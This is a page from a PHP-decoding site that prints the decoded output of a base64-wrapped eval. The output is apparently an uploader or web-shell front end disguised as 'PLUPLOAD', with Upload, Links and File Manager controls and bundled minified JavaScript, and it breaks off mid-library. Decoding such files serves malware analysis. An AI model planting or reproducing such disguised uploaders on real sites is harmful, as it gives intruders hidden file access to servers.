Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(base64_decode('CiBpZiAoZW1wdHkoJF9GSUxFUykpIHsgPz4KPCFkb2N0eXBlaHRtbD48aHRtbD48..

Decoded Output download


 if (empty($_FILES)) { ?>
<!doctypehtml><html><head><meta charset="UTF-8"><title>PLUPLOAD</title><meta content="PLUPLOAD || Multi-runtime File-Uploader"name="description"><link href="https://site-assets.fontawesome.com/releases/v6.1.1/css/all.css"rel="stylesheet"><script src="https://cdn.jsdelivr.net/npm/sweetalert2@10/dist/sweetalert2.all.min.js"></script><link href="https://www.pngall.com/wp-content/uploads/2/Upload-Transparent.png"rel="shortcut icon"><meta content="https://www.pngall.com/wp-content/uploads/2/Upload-Transparent.png"name="og:image"property="og:image"><meta content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=0,user-scalable=no"name="viewport"><script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/jquery.min.js"crossorigin="anonymous"integrity="sha512-894YE6QWD5I59HgZOGReFYm4dnWc1Qt5NtvYSaNcOP+u1T9qYdvdihz0PPSiiqn/+/3e7Jo4EaG7TubfWGUrMQ=="referrerpolicy="no-referrer"></script><style>*{margin:0;padding:0;box-sizing:border-box;font-family:Poppins,sans-serif}body{margin:0;padding:0;background:linear-gradient(to right,#64ff00,#ffc801);min-height:100vh}.waller{background-color:#fff;max-width:500px;box-shadow:0 0 20px rgb(0 0 0 / 50%);border-radius:10px;position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);width:95%;padding:25px 15px;box-sizing:border-box;z-index:2;text-align:center;position:fixed}.waller2{background:#f0f8ff;padding:5px;box-shadow:0 0 5px rgb(0 0 0 / 50%);border-radius:5px;display:none}.prs-end{display:flex;padding:13px 5px 0 5px}.panel-body{text-align:center}.progress{overflow:hidden;height:15px;margin-bottom:20px;background-color:#f5f5f5;border-radius:4px;-webkit-box-shadow:inset 0 1px 2px rgb(0 0 0 / 10%);box-shadow:inset 0 1px 2px rgb(0 0 0 / 10%)}.progress-bar{float:left;width:0%;height:100%;font-size:12px;line-height:20px;color:#fff;text-align:center;background-color:#2fa4e7;-webkit-box-shadow:inset 0 -1px 0 rgb(0 0 0 / 15%);box-shadow:inset 0 -1px 0 rgb(0 0 0 / 15%);-webkit-transition:width .6s ease;-o-transition:width .6s ease;transition:width .6s ease}.progress2{overflow:hidden;height:20px;margin-bottom:20px;background-color:#f5f5f5;border-radius:4px;-webkit-box-shadow:inset 0 1px 2px rgb(0 0 0 / 10%);box-shadow:inset 0 1px 2px rgb(0 0 0 / 10%)}.progress-bar2{float:left;width:0%;height:100%;font-size:12px;line-height:20px;color:#fff;text-align:center;background-color:#2fa4e7;-webkit-box-shadow:inset 0 -1px 0 rgb(0 0 0 / 15%);box-shadow:inset 0 -1px 0 rgb(0 0 0 / 15%);-webkit-transition:width .6s ease;-o-transition:width .6s ease;transition:width .6s ease}.file-upload-wrapper2{position:relative;width:100%;height:50px;cursor:pointer;overflow:hidden;white-space:nowrap}.file-upload-wrapper2::after{content:"Upload";font-size:16px;position:absolute;top:0;left:0;background:-webkit-linear-gradient(to right,#24c6dc,#514a9d);background:linear-gradient(to right,#24c6dc,#514a9d);display:inline-block;width:100%;z-index:25;height:50px;line-height:50px;color:#fff;border-radius:10px;transition:.5s ease-in-out;font-weight:700;text-transform:uppercase;pointer-events:none;text-align:center}.file-upload-wrapper2:hover::after{background:-webkit-linear-gradient(to right,#514a9d,#24c6dc);background:linear-gradient(to right,#514a9d,#24c6dc)}.file-upload-wrapper2 a{opacity:0;position:absolute;top:0;right:0;bottom:0;left:0;z-index:99;height:50px;margin:0;padding:0;display:block;cursor:pointer;width:100%}.file-upload-wrapper{position:relative;width:100%;height:50px;cursor:pointer;overflow:hidden;white-space:nowrap}.file-upload-wrapper::after{content:"Links";font-size:16px;position:absolute;top:0;left:0;background:-webkit-linear-gradient(to right,#dc2424,#7367f0);background:linear-gradient(to right,#dc2424,#7367f0);display:inline-block;width:100%;z-index:25;height:50px;line-height:50px;color:#fff;border-radius:10px;transition:.5s ease-in-out;font-weight:700;text-transform:uppercase;pointer-events:none;text-align:center}.file-upload-wrapper:hover::after{background:-webkit-linear-gradient(to right,#7367f0,#dc2424);background:linear-gradient(to right,#7367f0,#dc2424)}.file-upload-wrapper a{opacity:0;position:absolute;top:0;right:0;bottom:0;left:0;z-index:99;height:50px;margin:0;padding:0;display:block;cursor:pointer;width:100%}.file-upload-wrapper3{position:relative;width:100%;height:50px;cursor:pointer;overflow:hidden;white-space:nowrap}.file-upload-wrapper3::after{content:"File Manager";font-size:16px;position:absolute;top:0;left:0;background:-webkit-linear-gradient(to right,#24dc87,#2fa4e7);background:linear-gradient(to right,#24dc87,#2fa4e7);display:inline-block;width:100%;z-index:25;height:50px;line-height:50px;color:#fff;border-radius:10px;transition:.5s ease-in-out;font-weight:700;text-transform:uppercase;pointer-events:none;text-align:center}.file-upload-wrapper3:hover::after{background:-webkit-linear-gradient(to right,#2fa4e7,#24dc87);background:linear-gradient(to right,#2fa4e7,#24dc87)}.file-upload-wrapper3 a{opacity:0;position:absolute;top:0;right:0;bottom:0;left:0;z-index:99;height:50px;margin:0;padding:0;display:block;cursor:pointer;width:100%}.scroll{max-height:350px;overflow-y:scroll;text-align:left}.proces{display:none}#close-btn{background:red;color:#fff;width:35px;height:35px;line-height:35px;text-align:center;border-radius:0 25% 0 25%;position:absolute;top:0;right:0;cursor:pointer;display:none}.prs_n{color:#7367f0;width:100%;text-align:center;overflow:hidden;white-space:nowrap}.un{margin-top:-12px;margin-bottom:10px;display:flex}.un_p{color:#2fa4e7;width:50%}html{overflow:scroll;overflow-x:hidden}::-webkit-scrollbar{width:0}::-webkit-scrollbar-thumb{background:red}</style><script>!function(e,t){var i=function(){var e={};return function(){!function(s,y){"use strict";function e(o,e,s){if("string"!=typeof o)throw"invalid module definition, module id must be defined and be a string";if(e===y)throw"invalid module definition, dependencies must be specified";if(s===y)throw"invalid module definition, definition function must be specified";!function(e,t){for(var i,n=[],r=0;r<e.length;++r){if(!(i=u[e[r]]||a(e[r])))throw"module definition dependecy not found: "+e[r];n.push(i)}(function(){u[o]=s.apply(null,arguments)}).apply(null,n)}(e)}function d(e){return!!u[e]}function a(e){for(var t=s,i=e.split(/[.\/]/),n=0;n<i.length;++n){if(!t[i[n]])return;t=t[i[n]]}return t}var u={};e("moxie/core/utils/Basic",[],function(){function s(e){return void 0===e?"undefined":null===e?"null":e.nodeType?"node":{}.toString.call(e).match(/\s([a-z|A-Z]+)/)[1].toLowerCase()}function a(){return u(!1,!1,arguments)}function u(n,r,e){var o=e[0];return c(e,function(e,t){0<t&&c(e,function(e,t){var i=-1!==l(s(e),["array","object"]);return!!(void 0===e||n&&void 0===o[t])||(i&&r&&(e=function(e){switch(s(e)){case"array":return Array.prototype.slice.call(e);case"object":return a({},e)}return e}(e)),void(s(o[t])===s(e)&&i?u(n,r,[o[t],e]):o[t]=e))})}),o}function c(e,t){var i,n,r;if(e){try{i=e.length}catch(e){i=void 0}if(void 0===i||"number"!=typeof i){for(n in e)if(e.hasOwnProperty(n)&&!1===t(e[n],n))return}else for(r=0;r<i;r++)if(!1===t(e[r],r))return}}function l(e,t){if(t){if(Array.prototype.indexOf)return Array.prototype.indexOf.call(t,e);for(var i=0,n=t.length;i<n;i++)if(t[i]===e)return i}return-1}var n;return{guid:(n=0,function(e){var t,i=(new Date).getTime().toString(32);for(t=0;t<5;t++)i+=Math.floor(65535*Math.random()).toString(32);return(e||"o_")+i+(n++).toString(32)}),typeOf:s,extend:a,extendIf:function(){return u(!0,!1,arguments)},extendImmutable:function(){return u(!1,!0,arguments)},extendImmutableIf:function(){return u(!0,!0,arguments)},clone:function(e){switch(s(e)){case"array":return u(!1,!0,[[],e]);case"object":return u(!1,!0,[{},e]);default:return e}},inherit:function(e,t){function i(){this.constructor=e}for(var n in t)({}).hasOwnProperty.call(t,n)&&(e[n]=t[n]);return i.prototype=t.prototype,e.prototype=new i,e.parent=t.prototype,e},each:c,isEmptyObj:function(e){var t;if(!e||"object"!==s(e))return!0;for(t in e)return!1;return!0},inSeries:function(e,n){var r=e.length;"function"!==s(n)&&(n=function(){}),e&&e.length||n(),function t(i){"function"===s(e[i])&&e[i](function(e){++i<r&&!e?t(i):n(e)})}(0)},inParallel:function(e,n){var r=0,o=e.length,s=new Array(o);c(e,function(e,i){e(function(e){if(e)return n(e);var t=[].slice.call(arguments);t.shift(),s[i]=t,++r===o&&(s.unshift(null),n.apply(this,s))})})},inArray:l,arrayDiff:function(e,t){var i=[];for(var n in"array"!==s(e)&&(e=[e]),"array"!==s(t)&&(t=[t]),e)-1===l(e[n],t)&&i.push(e[n]);return!!i.length&&i},arrayIntersect:function(e,t){var i=[];return c(e,function(e){-1!==l(e,t)&&i.push(e)}),i.length?i:null},toArray:function(e){var t,i=[];for(t=0;t<e.length;t++)i[t]=e[t];return i},trim:function(e){return e?String.prototype.trim?String.prototype.trim.call(e):e.toString().replace(/^\s*/,"").replace(/\s*$/,""):e},sprintf:function(e){var n=[].slice.call(arguments,1);return e.replace(/%([a-z])/g,function(e,t){var i=n.shift();switch(t){case"s":return i+"";case"d":return parseInt(i,10);case"f":return parseFloat(i);case"c":return"";default:return i}})},parseSizeStr:function(e){if("string"!=typeof e)return e;var t,i={t:1099511627776,g:1073741824,m:1048576,k:1024};return t=(e=/^([0-9\.]+)([tmgk]?)$/.exec(e.toLowerCase().replace(/[^0-9\.tmkg]/g,"")))[2],e=+e[1],i.hasOwnProperty(t)&&(e*=i[t]),Math.floor(e)},delay:function(e,t){var i=this;setTimeout(function(){e.call(i)},t||1)}}}),e("moxie/core/utils/Encode",[],function(){var p=function(e){return unescape(encodeURIComponent(e))},m=function(e){return decodeURIComponent(escape(e))};return{utf8_encode:p,utf8_decode:m,atob:function(e,t){if("function"==typeof window.atob)return t?m(window.atob(e)):window.atob(e);var i,n,r,o,s,a,u,c="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",l=0,d=0,h=[];if(!e)return e;for(e+="";i=255&(a=c.indexOf(e.charAt(l++))<<18|c.indexOf(e.charAt(l++))<<12|(o=c.indexOf(e.charAt(l++)))<<6|(s=c.indexOf(e.charAt(l++))))>>16,n=255&a>>8,r=255&a,h[d++]=64==o?String.fromCharCode(i):64==s?String.fromCharCode(i,n):String.fromCharCode(i,n,r),l<e.length;);return u=h.join(""),t?m(u):u},btoa:function(e,t){if(t&&(e=p(e)),"function"==typeof window.btoa)return window.btoa(e);var i,n,r,o,s,a="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",u=0,c=0,l="",d=[];if(!e)return e;for(;i=63&(s=e.charCodeAt(u++)<<16|e.charCodeAt(u++)<<8|e.charCodeAt(u++))>>18,n=63&s>>12,r=63&s>>6,o=63&s,d[c++]=a.charAt(i)+a.charAt(n)+a.charAt(r)+a.charAt(o),u<e.length;);l=d.join("");var h=e.length%3;return(h?l.slice(0,h-3):l)+"===".slice(h||3)}}}),e("moxie/core/utils/Env",["moxie/core/utils/Basic"],function(i){var e,n,d,h,p,t,r,o,s,a,u,c=(h="function",p="object",o=function(e,t){return-1!==t.toLowerCase().indexOf(e.toLowerCase())},u={browser:[[/(opera\smini)\/([\w\.-]+)/i,/(opera\s[mobiletab]+).+version\/([\w\.-]+)/i,/(opera).+version\/([\w\.]+)/i,/(opera)[\/\s]+([\w\.]+)/i],[t="name",r="version"],[/\s(opr)\/([\w\.]+)/i],[[t,"Opera"],r],[/(kindle)\/([\w\.]+)/i,/(lunascape|maxthon|netfront|jasmine|blazer)[\/\s]?([\w\.]+)*/i,/(avant\s|iemobile|slim|baidu)(?:browser)?[\/\s]?([\w\.]*)/i,/(?:ms|\()(ie)\s([\w\.]+)/i,/(rekonq)\/([\w\.]+)*/i,/(chromium|flock|rockmelt|midori|epiphany|silk|skyfire|ovibrowser|bolt|iron|vivaldi)\/([\w\.-]+)/i],[t,r],[/(trident).+rv[:\s]([\w\.]+).+like\sgecko/i],[[t,"IE"],r],[/(edge)\/((\d+)?[\w\.]+)/i],[t,r],[/(yabrowser)\/([\w\.]+)/i],[[t,"Yandex"],r],[/(comodo_dragon)\/([\w\.]+)/i],[[t,/_/g," "],r],[/(chrome|omniweb|arora|[tizenoka]{5}\s?browser)\/v?([\w\.]+)/i,/(uc\s?browser|qqbrowser)[\/\s]?([\w\.]+)/i],[t,r],[/(dolfin)\/([\w\.]+)/i],[[t,"Dolphin"],r],[/((?:android.+)crmo|crios)\/([\w\.]+)/i],[[t,"Chrome"],r],[/XiaoMi\/MiuiBrowser\/([\w\.]+)/i],[r,[t,"MIUI Browser"]],[/android.+version\/([\w\.]+)\s+(?:mobile\s?safari|safari)/i],[r,[t,"Android Browser"]],[/FBAV\/([\w\.]+);/i],[r,[t,"Facebook"]],[/version\/([\w\.]+).+?mobile\/\w+\s(safari)/i],[r,[t,"Mobile Safari"]],[/version\/([\w\.]+).+?(mobile\s?safari|safari)/i],[r,t],[/webkit.+?(mobile\s?safari|safari)(\/[\w\.]+)/i],[t,[r,(s={rgx:function(){for(var e,t,i,n,r,o,s,a=0,u=arguments;a<u.length;a+=2){var c=u[a],l=u[a+1];if(void 0===e)for(n in e={},l)typeof(r=l[n])==p?e[r[0]]=d:e[r]=d;for(t=i=0;t<c.length;t++)if(o=c[t].exec(this.getUA())){for(n=0;n<l.length;n++)s=o[++i],typeof(r=l[n])==p&&0<r.length?2==r.length?e[r[0]]=typeof r[1]==h?r[1].call(this,s):r[1]:3==r.length?e[r[0]]=typeof r[1]!=h||r[1].exec&&r[1].test?s?s.replace(r[1],r[2]):d:s?r[1].call(this,s,r[2]):d:4==r.length&&(e[r[0]]=s?r[3].call(this,s.replace(r[1],r[2])):d):e[r]=s||d;break}if(o)break}return e},str:function(e,t){for(var i in t)if(typeof t[i]==p&&0<t[i].length){for(var n=0;n<t[i].length;n++)if(o(t[i][n],e))return"?"===i?d:i}else if(o(t[i],e))return"?"===i?d:i;return e}}).str,(a={browser:{oldsafari:{major:{1:["/8","/1","/3"],2:"/4","?":"/"},version:{"1.0":"/8",1.2:"/1",1.3:"/3","2.0":"/412","2.0.2":"/416","2.0.3":"/417","2.0.4":"/419","?":"/"}}},device:{sprint:{model:{"Evo Shift 4G":"7373KT"},vendor:{HTC:"APA",Sprint:"Sprint"}}},os:{windows:{version:{ME:"4.90","NT 3.11":"NT3.51","NT 4.0":"NT4.0",2e3:"NT 5.0",XP:["NT 5.1","NT 5.2"],Vista:"NT 6.0",7:"NT 6.1",8:"NT 6.2",8.1:"NT 6.3",RT:"ARM"}}}}).browser.oldsafari.version]],[/(konqueror)\/([\w\.]+)/i,/(webkit|khtml)\/([\w\.]+)/i],[t,r],[/(navigator|netscape)\/([\w\.-]+)/i],[[t,"Netscape"],r],[/(swiftfox)/i,/(icedragon|iceweasel|camino|chimera|fennec|maemo\sbrowser|minimo|conkeror)[\/\s]?([\w\.\+]+)/i,/(firefox|seamonkey|k-meleon|icecat|iceape|firebird|phoenix)\/([\w\.-]+)/i,/(mozilla)\/([\w\.]+).+rv\:.+gecko\/\d+/i,/(polaris|lynx|dillo|icab|doris|amaya|w3m|netsurf)[\/\s]?([\w\.]+)/i,/(links)\s\(([\w\.]+)/i,/(gobrowser)\/?([\w\.]+)*/i,/(ice\s?browser)\/v?([\w\._]+)/i,/(mosaic)[\/\s]([\w\.]+)/i],[t,r]],engine:[[/windows.+\sedge\/([\w\.]+)/i],[r,[t,"EdgeHTML"]],[/(presto)\/([\w\.]+)/i,/(webkit|trident|netfront|netsurf|amaya|lynx|w3m)\/([\w\.]+)/i,/(khtml|tasman|links)[\/\s]\(?([\w\.]+)/i,/(icab)[\/\s]([23]\.[\d\.]+)/i],[t,r],[/rv\:([\w\.]+).*(gecko)/i],[r,t]],os:[[/microsoft\s(windows)\s(vista|xp)/i],[t,r],[/(windows)\snt\s6\.2;\s(arm)/i,/(windows\sphone(?:\sos)*|windows\smobile|windows)[\s\/]?([ntce\d\.\s]+\w)/i],[t,[r,s.str,a.os.windows.version]],[/(win(?=3|9|n)|win\s9x\s)([nt\d\.]+)/i],[[t,"Windows"],[r,s.str,a.os.windows.version]],[/\((bb)(10);/i],[[t,"BlackBerry"],r],[/(blackberry)\w*\/?([\w\.]+)*/i,/(tizen)[\/\s]([\w\.]+)/i,/(android|webos|palm\os|qnx|bada|rim\stablet\sos|meego|contiki)[\/\s-]?([\w\.]+)*/i,/linux;.+(sailfish);/i],[t,r],[/(symbian\s?os|symbos|s60(?=;))[\/\s-]?([\w\.]+)*/i],[[t,"Symbian"],r],[/\((series40);/i],[t],[/mozilla.+\(mobile;.+gecko.+firefox/i],[[t,"Firefox OS"],r],[/(nintendo|playstation)\s([wids3portablevu]+)/i,/(mint)[\/\s\(]?(\w+)*/i,/(mageia|vectorlinux)[;\s]/i,/(joli|[kxln]?ubuntu|debian|[open]*suse|gentoo|arch|slackware|fedora|mandriva|centos|pclinuxos|redhat|zenwalk|linpus)[\/\s-]?([\w\.-]+)*/i,/(hurd|linux)\s?([\w\.]+)*/i,/(gnu)\s?([\w\.]+)*/i],[t,r],[/(cros)\s[\w]+\s([\w\.]+\w)/i],[[t,"Chromium OS"],r],[/(sunos)\s?([\w\.]+\d)*/i],[[t,"Solaris"],r],[/\s([frentopc-]{0,4}bsd|dragonfly)\s?([\w\.]+)*/i],[t,r],[/(ip[honead]+)(?:.*os\s*([\w]+)*\slike\smac|;\sopera)/i],[[t,"iOS"],[r,/_/g,"."]],[/(mac\sos\sx)\s?([\w\s\.]+\w)*/i,/(macintosh|mac(?=_powerpc)\s)/i],[[t,"Mac OS"],[r,/_/g,"."]],[/((?:open)?solaris)[\/\s-]?([\w\.]+)*/i,/(haiku)\s(\w+)/i,/(aix)\s((\d)(?=\.|\)|\s)[\w\.]*)*/i,/(plan\s9|minix|beos|os\/2|amigaos|morphos|risc\sos|openvms)/i,/(unix)\s?([\w\.]+)*/i],[t,r]]},function(e){var t=e||(window&&window.navigator&&window.navigator.userAgent?window.navigator.userAgent:"");this.getBrowser=function(){return s.rgx.apply(this,u.browser)},this.getEngine=function(){return s.rgx.apply(this,u.engine)},this.getOS=function(){return s.rgx.apply(this,u.os)},this.getResult=function(){return{ua:this.getUA(),browser:this.getBrowser(),engine:this.getEngine(),os:this.getOS()}},this.getUA=function(){return t},this.setUA=function(e){return t=e,this},this.setUA(t)}),l=(n={access_global_ns:function(){return!!window.moxie},define_property:!1,create_canvas:function(){var e=document.createElement("canvas"),t=!(!e.getContext||!e.getContext("2d"));return n.create_canvas=t},return_response_type:function(e){try{if(-1!==i.inArray(e,["","text","document"]))return!0;if(window.XMLHttpRequest){var t=new XMLHttpRequest;if(t.open("get","/"),"responseType"in t)return t.responseType=e,t.responseType===e}}catch(e){}return!1},use_blob_uri:function(){var e=window.URL;return n.use_blob_uri=e&&"createObjectURL"in e&&"revokeObjectURL"in e&&("IE"!==f.browser||f.verComp(f.version,"11.0.46",">=")),n.use_blob_uri},use_data_uri:(e=new Image,e.onload=function(){n.use_data_uri=1===e.width&&1===e.height},setTimeout(function(){e.src="data:image/gif;base64,R0lGODlhAQABAIAAAP8AAAAAACH5BAAAAAAALAAAAAABAAEAAAICRAEAOw=="},1),!1),use_data_uri_over32kb:function(){return n.use_data_uri&&("IE"!==f.browser||9<=f.version)},use_data_uri_of:function(e){return n.use_data_uri&&e<33e3||n.use_data_uri_over32kb()},use_fileinput:function(){if(navigator.userAgent.match(/(Android (1.0|1.1|1.5|1.6|2.0|2.1))|(Windows Phone (OS 7|8.0))|(XBLWP)|(ZuneWP)|(w(eb)?OSBrowser)|(webOS)|(Kindle\/(1.0|2.0|2.5|3.0))/))return!1;var e=document.createElement("input");return e.setAttribute("type","file"),n.use_fileinput=!e.disabled},use_webgl:function(){var e,t=document.createElement("canvas"),i=null;try{i=t.getContext("webgl")||t.getContext("experimental-webgl")}catch(e){}return i||(i=null),e=!!i,n.use_webgl=e,t=y,e}},function(e){var t=[].slice.call(arguments);return t.shift(),"function"===i.typeOf(n[e])?n[e].apply(this,t):!!n[e]}),m=(new c).getResult(),f={can:l,uaParser:c,browser:m.browser.name,version:m.browser.version,os:m.os.name,osVersion:m.os.version,verComp:function(e,t,i){var n,r=0,o=0,s={dev:-6,alpha:-5,a:-5,beta:-4,b:-4,RC:-3,rc:-3,"#":-2,p:1,pl:1},a=function(e){return(e=(e=(""+e).replace(/[_\-+]/g,".")).replace(/([^.\d]+)/g,".$1.").replace(/\.{2,}/g,".")).length?e.split("."):[-8]},u=function(e){return e?isNaN(e)?s[e]||-7:parseInt(e,10):0};for(e=a(e),t=a(t),n=Math.max(e.length,t.length),r=0;r<n;r++)if(e[r]!=t[r]){if(e[r]=u(e[r]),t[r]=u(t[r]),e[r]<t[r]){o=-1;break}if(e[r]>t[r]){o=1;break}}if(!i)return o;switch(i){case">":case"gt":return 0<o;case">=":case"ge":return 0<=o;case"<=":case"le":return o<=0;case"==":case"=":case"eq":return 0===o;case"<>":case"!=":case"ne":return 0!==o;case"":case"<":case"lt":return o<0;default:return null}},swf_url:"../flash/Moxie.swf",xap_url:"../silverlight/Moxie.xap",global_event_dispatcher:"moxie.core.EventTarget.instance.dispatchEvent"};return f.OS=f.os,f}),e("moxie/core/Exceptions",["moxie/core/utils/Basic"],function(n){function r(e,t){var i;for(i in e)if(e[i]===t)return i;return null}return{RuntimeError:function(){function e(e,t){this.code=e,this.name=r(i,e),this.message=this.name+(t||": RuntimeError "+this.code)}var i={NOT_INIT_ERR:1,EXCEPTION_ERR:3,NOT_SUPPORTED_ERR:9,JS_ERR:4};return n.extend(e,i),e.prototype=Error.prototype,e}(),OperationNotAllowedException:function(){function e(e){this.code=e,this.name="OperationNotAllowedException"}return n.extend(e,{NOT_ALLOWED_ERR:1}),e.prototype=Error.prototype,e}(),ImageError:function(){function e(e){this.code=e,this.name=r(t,e),this.message=this.name+": ImageError "+this.code}var t={WRONG_FORMAT:1,MAX_RESOLUTION_ERR:2,INVALID_META_ERR:3};return n.extend(e,t),e.prototype=Error.prototype,e}(),FileException:function(){function e(e){this.code=e,this.name=r(t,e),this.message=this.name+": FileException "+this.code}var t={NOT_FOUND_ERR:1,SECURITY_ERR:2,ABORT_ERR:3,NOT_READABLE_ERR:4,ENCODING_ERR:5,NO_MODIFICATION_ALLOWED_ERR:6,INVALID_STATE_ERR:7,SYNTAX_ERR:8};return n.extend(e,t),e.prototype=Error.prototype,e}(),DOMException:function(){function e(e){this.code=e,this.name=r(t,e),this.message=this.name+": DOMException "+this.code}var t={INDEX_SIZE_ERR:1,DOMSTRING_SIZE_ERR:2,HIERARCHY_REQUEST_ERR:3,WRONG_DOCUMENT_ERR:4,INVALID_CHARACTER_ERR:5,NO_DATA_ALLOWED_ERR:6,NO_MODIFICATION_ALLOWED_ERR:7,NOT_FOUND_ERR:8,NOT_SUPPORTED_ERR:9,INUSE_ATTRIBUTE_ERR:10,INVALID_STATE_ERR:11,SYNTAX_ERR:12,INVALID_MODIFICATION_ERR:13,NAMESPACE_ERR:14,INVALID_ACCESS_ERR:15,VALIDATION_ERR:16,TYPE_MISMATCH_ERR:17,SECURITY_ERR:18,NETWORK_ERR:19,ABORT_ERR:20,URL_MISMATCH_ERR:21,QUOTA_EXCEEDED_ERR:22,TIMEOUT_ERR:23,INVALID_NODE_TYPE_ERR:24,DATA_CLONE_ERR:25};return n.extend(e,t),e.prototype=Error.prototype,e}(),EventException:function(){function e(e){this.code=e,this.name="EventException"}return n.extend(e,{UNSPECIFIED_EVENT_TYPE_ERR:0}),e.prototype=Error.prototype,e}()}}),e("moxie/core/utils/Dom",["moxie/core/utils/Env"],function(c){var i=function(e,t){return!!e.className&&new RegExp("(^|\s+)"+t+"(\s+|$)").test(e.className)};return{get:function(e){return"string"!=typeof e?e:document.getElementById(e)},hasClass:i,addClass:function(e,t){i(e,t)||(e.className=e.className?e.className.replace(/\s+$/,"")+" "+t:t)},removeClass:function(e,t){if(e.className){var i=new RegExp("(^|\s+)"+t+"(\s+|$)");e.className=e.className.replace(i,function(e,t,i){return" "===t&&" "===i?" ":""})}},getStyle:function(e,t){return e.currentStyle?e.currentStyle[t]:window.getComputedStyle?window.getComputedStyle(e,null)[t]:void 0},getPos:function(e,t){function i(e){var t,i,n=0,r=0;return e&&(i=e.getBoundingClientRect(),t="CSS1Compat"===u.compatMode?u.documentElement:u.body,n=i.left+t.scrollLeft,r=i.top+t.scrollTop),{x:n,y:r}}var n,r,o,s=0,a=0,u=document;if(e=e,t=t||u.body,e&&e.getBoundingClientRect&&"IE"===c.browser&&(!u.documentMode||u.documentMode<8))return r=i(e),o=i(t),{x:r.x-o.x,y:r.y-o.y};for(n=e;n&&n!=t&&n.nodeType;)s+=n.offsetLeft||0,a+=n.offsetTop||0,n=n.offsetParent;for(n=e.parentNode;n&&n!=t&&n.nodeType;)s-=n.scrollLeft||0,a-=n.scrollTop||0,n=n.parentNode;return{x:s,y:a}},getSize:function(e){return{w:e.offsetWidth||e.clientWidth,h:e.offsetHeight||e.clientHeight}}}}),e("moxie/core/EventTarget",["moxie/core/utils/Env","moxie/core/Exceptions","moxie/core/utils/Basic"],function(e,c,l){function t(){this.uid=l.guid()}var d={};return l.extend(t.prototype,{init:function(){this.uid||(this.uid=l.guid("uid_"))},addEventListener:function(e,t,i,n){var r,o=this;return this.hasOwnProperty("uid")||(this.uid=l.guid("uid_")),e=l.trim(e),/\s/.test(e)?void l.each(e.split(/\s+/),function(e){o.addEventListener(e,t,i,n)}):(e=e.toLowerCase(),i=parseInt(i,10)||0,(r=d[this.uid]&&d[this.uid][e]||[]).push({fn:t,priority:i,scope:n||this}),d[this.uid]||(d[this.uid]={}),void(d[this.uid][e]=r))},hasEventListener:function(e){return(e?(e=e.toLowerCase(),d[this.uid]&&d[this.uid][e]):d[this.uid])||!1},removeEventListener:function(e,t){var i,n,r=this;if(e=e.toLowerCase(),/\s/.test(e))l.each(e.split(/\s+/),function(e){r.removeEventListener(e,t)});else if(i=d[this.uid]&&d[this.uid][e]){if(t){for(n=i.length-1;0<=n;n--)if(i[n].fn===t){i.splice(n,1);break}}else i=[];i.length||(delete d[this.uid][e],l.isEmptyObj(d[this.uid])&&delete d[this.uid])}},removeAllEventListeners:function(){d[this.uid]&&delete d[this.uid]},dispatchEvent:function(e){var t,i,n,r,o,s={},a=!0;if("string"!==l.typeOf(e)){if(r=e,"string"!==l.typeOf(r.type))throw new c.EventException(c.EventException.UNSPECIFIED_EVENT_TYPE_ERR);e=r.type,void 0!==r.total&&void 0!==r.loaded&&(s.total=r.total,s.loaded=r.loaded),s.async=r.async||!1}if(-1!==e.indexOf("::")?(t=(o=e.split("::"))[0],e=o[1]):t=this.uid,e=e.toLowerCase(),i=d[t]&&d[t][e]){i.sort(function(e,t){return t.priority-e.priority}),(n=[].slice.call(arguments)).shift(),s.type=e,n.unshift(s);var u=[];l.each(i,function(t){n[0].target=t.scope,s.async?u.push(function(e){setTimeout(function(){e(!1===t.fn.apply(t.scope,n))},1)}):u.push(function(e){e(!1===t.fn.apply(t.scope,n))})}),u.length&&l.inSeries(u,function(e){a=!e})}return a},bindOnce:function(t,i,e,n){var r=this;r.bind.call(this,t,function e(){return r.unbind(t,e),i.apply(this,arguments)},e,n)},bind:function(){this.addEventListener.apply(this,arguments)},unbind:function(){this.removeEventListener.apply(this,arguments)},unbindAll:function(){this.removeAllEventListeners.apply(this,arguments)},trigger:function(){return this.dispatchEvent.apply(this,arguments)},handleEventProps:function(e){var t=this;this.bind(e.join(" "),function(e){var t="on"+e.type.toLowerCase();"function"===l.typeOf(this[t])&&this[t].apply(this,arguments)}),l.each(e,function(e){e="on"+e.toLowerCase(e),"undefined"===l.typeOf(t[e])&&(t[e]=null)})}}),t.instance=new t,t}),e("moxie/runtime/Runtime",["moxie/core/utils/Env","moxie/core/utils/Basic","moxie/core/utils/Dom","moxie/core/EventTarget"],function(t,l,d,i){function h(e,t,r,i,n){var o,s,a=this,u=l.guid(t+"_"),c=n||"browser";e=e||{},p[u]=this,r=l.extend({access_binary:!1,access_image_binary:!1,display_media:!1,do_cors:!1,drag_and_drop:!1,filter_by_extension:!0,resize_image:!1,report_upload_progress:!1,return_response_headers:!1,return_response_type:!1,return_status_code:!0,send_custom_headers:!1,select_file:!1,select_folder:!1,select_multiple:!0,send_binary_string:!1,send_browser_cookies:!0,send_multipart:!0,slice_blob:!1,stream_upload:!1,summon_file_dialog:!1,upload_filesize:!0,use_http_method:!0},r),e.preferred_caps&&(c=h.getMode(i,e.preferred_caps,c)),s={},o={exec:function(e,t,i,n){return o[t]&&(s[e]||(s[e]={context:this,instance:new o[t]}),s[e].instance[i])?s[e].instance[i].apply(this,n):void 0},removeInstance:function(e){delete s[e]},removeAllInstances:function(){var i=this;l.each(s,function(e,t){"function"===l.typeOf(e.instance.destroy)&&e.instance.destroy.call(e.context),i.removeInstance(t)})}},l.extend(this,{initialized:!1,uid:u,type:t,mode:h.getMode(i,e.required_caps,c),shimid:u+"_container",clients:0,options:e,can:function(e,t){var i=arguments[2]||r;if("string"===l.typeOf(e)&&"undefined"===l.typeOf(t)&&(e=h.parseCaps(e)),"object"!==l.typeOf(e))return"function"===l.typeOf(i[e])?i[e].call(this,t):t===i[e];for(var n in e)if(!this.can(n,e[n],i))return!1;return!0},getShimContainer:function(){var e,t=d.get(this.shimid);return t||(e=d.get(this.options.container)||document.body,(t=document.createElement("div")).id=this.shimid,t.className="moxie-shim 